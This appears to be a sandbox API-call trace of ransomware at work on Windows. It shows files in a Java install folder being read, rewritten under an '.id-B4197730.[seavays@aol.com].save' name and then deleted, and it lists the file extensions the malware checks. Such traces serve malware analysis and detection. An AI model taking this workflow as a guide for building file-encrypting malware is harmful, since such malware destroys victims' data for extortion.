WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xc830, lpOverlapped=0x0) returned 1 [0210.077] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.077] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xe6, lpOverlapped=0x0) returned 1 [0210.077] SetEndOfFile (hFile=0x33c) returned 1 [0210.078] CloseHandle (hObject=0x33c) returned 1 [0210.078] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.078] SetEndOfFile (hFile=0x36c) returned 1 [0210.079] CloseHandle (hObject=0x36c) returned 1 [0210.079] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.079] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1 [0210.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.080] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.080] lstrlenW (lpString=".doc") returned 4 [0210.080] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0210.080] lstrlenW (lpString=".docx") returned 5 [0210.080] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0210.080] lstrlenW (lpString=".pdf") returned 4 [0210.080] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0210.080] lstrlenW (lpString=".xls") returned 4 [0210.080] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0210.080] lstrlenW (lpString=".xlsx") returned 5 [0210.080] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0210.080] lstrlenW (lpString=".ppt") returned 4 [0210.081] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.081] lstrlenW (lpString=".zip") returned 4 [0210.081] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString=".rar") returned 4 [0210.081] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString=".bz2") returned 4 [0210.081] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString=".7z") returned 3 [0210.081] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0210.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.081] lstrlenW (lpString=".dbf") returned 4 [0210.081] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.081] lstrlenW (lpString=".1cd") returned 4 [0210.081] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.081] lstrlenW (lpString=".jpg") returned 4 [0210.081] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.081] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.081] lstrlenW (lpString=".doc") returned 4 [0210.081] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString=".docx") returned 5 [0210.081] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1 [0210.081] lstrlenW (lpString=".pdf") returned 4 [0210.081] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString=".xls") returned 4 [0210.081] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1 [0210.081] lstrlenW (lpString=".xlsx") returned 5 [0210.082] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1 [0210.082] lstrlenW (lpString=".ppt") returned 4 [0210.082] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1 [0210.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.082] lstrlenW (lpString=".zip") returned 4 [0210.082] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1 [0210.082] lstrlenW (lpString=".rar") returned 4 [0210.082] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1 [0210.082] lstrlenW (lpString=".bz2") returned 4 [0210.082] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1 [0210.082] lstrlenW (lpString=".7z") returned 3 [0210.082] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0210.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.082] lstrlenW (lpString=".dbf") returned 4 [0210.082] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1 [0210.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.082] lstrlenW (lpString=".1cd") returned 4 [0210.082] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1 [0210.082] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52 [0210.082] lstrlenW (lpString=".jpg") returned 4 [0210.082] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1 [0210.082] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.082] lstrlenW (lpString="messages_de.properties") returned 22 [0210.082] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.083] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=3306) returned 1 [0210.083] CloseHandle (hObject=0x36c) returned 1 [0210.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0210.083] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.083] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.083] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.084] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.084] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0210.084] GetLastError () returned 0x0 [0210.084] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0xcea, lpOverlapped=0x0) returned 1 [0210.085] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0210.087] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.087] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0x100, lpOverlapped=0x0) returned 1 [0210.087] SetEndOfFile (hFile=0x33c) returned 1 [0210.087] CloseHandle (hObject=0x33c) returned 1 [0210.087] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.087] SetEndOfFile (hFile=0x36c) returned 1 [0210.088] CloseHandle (hObject=0x36c) returned 1 [0210.088] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.088] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0210.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.089] lstrlenW (lpString=".doc") returned 4 [0210.089] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.089] lstrlenW (lpString=".docx") returned 5 [0210.089] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.089] lstrlenW (lpString=".pdf") returned 4 [0210.089] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.089] lstrlenW (lpString=".xls") returned 4 [0210.089] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.089] lstrlenW (lpString=".xlsx") returned 5 [0210.089] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.089] lstrlenW (lpString=".ppt") returned 4 [0210.089] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.089] lstrlenW (lpString=".zip") returned 4 [0210.089] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.089] lstrlenW (lpString=".rar") returned 4 [0210.089] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.089] lstrlenW (lpString=".bz2") returned 4 [0210.089] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.089] lstrlenW (lpString=".7z") returned 3 [0210.089] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.089] lstrlenW (lpString=".dbf") returned 4 [0210.089] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.089] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.089] lstrlenW (lpString=".1cd") returned 4 [0210.090] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.090] lstrlenW (lpString=".jpg") returned 4 [0210.090] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.090] lstrlenW (lpString=".doc") returned 4 [0210.090] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString=".docx") returned 5 [0210.090] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.090] lstrlenW (lpString=".pdf") returned 4 [0210.090] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString=".xls") returned 4 [0210.090] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString=".xlsx") returned 5 [0210.090] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.090] lstrlenW (lpString=".ppt") returned 4 [0210.090] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.090] lstrlenW (lpString=".zip") returned 4 [0210.090] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString=".rar") returned 4 [0210.090] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString=".bz2") returned 4 [0210.090] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.090] lstrlenW (lpString=".7z") returned 3 [0210.090] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.090] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.090] lstrlenW (lpString=".dbf") returned 4 [0210.091] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.091] lstrlenW (lpString=".1cd") returned 4 [0210.091] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.091] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0210.091] lstrlenW (lpString=".jpg") returned 4 [0210.091] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.091] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.091] lstrlenW (lpString="messages_es.properties") returned 22 [0210.091] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.092] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=3600) returned 1 [0210.092] CloseHandle (hObject=0x36c) returned 1 [0210.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 0x20 [0210.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.092] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.093] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.093] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.093] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0210.094] GetLastError () returned 0x0 [0210.094] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0xe10, lpOverlapped=0x0) returned 1 [0210.095] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xe20, lpOverlapped=0x0) returned 1 [0210.096] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.096] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0x100, lpOverlapped=0x0) returned 1 [0210.096] SetEndOfFile (hFile=0x33c) returned 1 [0210.097] CloseHandle (hObject=0x33c) returned 1 [0210.097] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.097] SetEndOfFile (hFile=0x36c) returned 1 [0210.098] CloseHandle (hObject=0x36c) returned 1 [0210.098] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0210.098] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties")) returned 1 [0210.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.099] lstrlenW (lpString=".doc") returned 4 [0210.099] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.099] lstrlenW (lpString=".docx") returned 5 [0210.099] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.099] lstrlenW (lpString=".pdf") returned 4 [0210.099] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.099] lstrlenW (lpString=".xls") returned 4 [0210.099] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.099] lstrlenW (lpString=".xlsx") returned 5 [0210.099] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.099] lstrlenW (lpString=".ppt") returned 4 [0210.099] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.099] lstrlenW (lpString=".zip") returned 4 [0210.099] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.099] lstrlenW (lpString=".rar") returned 4 [0210.099] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.099] lstrlenW (lpString=".bz2") returned 4 [0210.099] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.099] lstrlenW (lpString=".7z") returned 3 [0210.099] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.099] lstrlenW (lpString=".dbf") returned 4 [0210.100] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.100] lstrlenW (lpString=".1cd") returned 4 [0210.100] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.100] lstrlenW (lpString=".jpg") returned 4 [0210.100] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.100] lstrlenW (lpString=".doc") returned 4 [0210.100] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString=".docx") returned 5 [0210.100] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0210.100] lstrlenW (lpString=".pdf") returned 4 [0210.100] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString=".xls") returned 4 [0210.100] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString=".xlsx") returned 5 [0210.100] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0210.100] lstrlenW (lpString=".ppt") returned 4 [0210.100] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.100] lstrlenW (lpString=".zip") returned 4 [0210.100] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString=".rar") returned 4 [0210.100] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString=".bz2") returned 4 [0210.100] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0210.100] lstrlenW (lpString=".7z") returned 3 [0210.100] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0210.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.101] lstrlenW (lpString=".dbf") returned 4 [0210.101] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0210.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.101] lstrlenW (lpString=".1cd") returned 4 [0210.101] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0210.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_es.properties") returned 68 [0210.101] lstrlenW (lpString=".jpg") returned 4 [0210.101] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0210.101] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0210.101] lstrlenW (lpString="messages_fr.properties") returned 22 [0210.101] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.101] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3b6ff14 | out: lpFileSize=0x3b6ff14*=3409) returned 1 [0210.102] CloseHandle (hObject=0x36c) returned 1 [0210.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0210.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0210.102] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.102] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0210.103] GetLastError () returned 0x0 [0210.103] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0xd51, lpOverlapped=0x0) returned 1 [0210.104] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0xd60, lpOverlapped=0x0) returned 1 [0210.105] ReadFile (in: hFile=0x36c, lpBuffer=0x4018020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3b6fecc, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesRead=0x3b6fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.105] WriteFile (in: hFile=0x33c, lpBuffer=0x4018020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3b6fc94, lpOverlapped=0x0 | out: lpBuffer=0x4018020*, lpNumberOfBytesWritten=0x3b6fc94*=0x100, lpOverlapped=0x0) returned 1 [0210.105] SetEndOfFile (hFile=0x33c) returned 1 [0210.105] CloseHandle (hObject=0x33c) returned 1 [0210.106] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3b6fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.106] SetEndOfFile 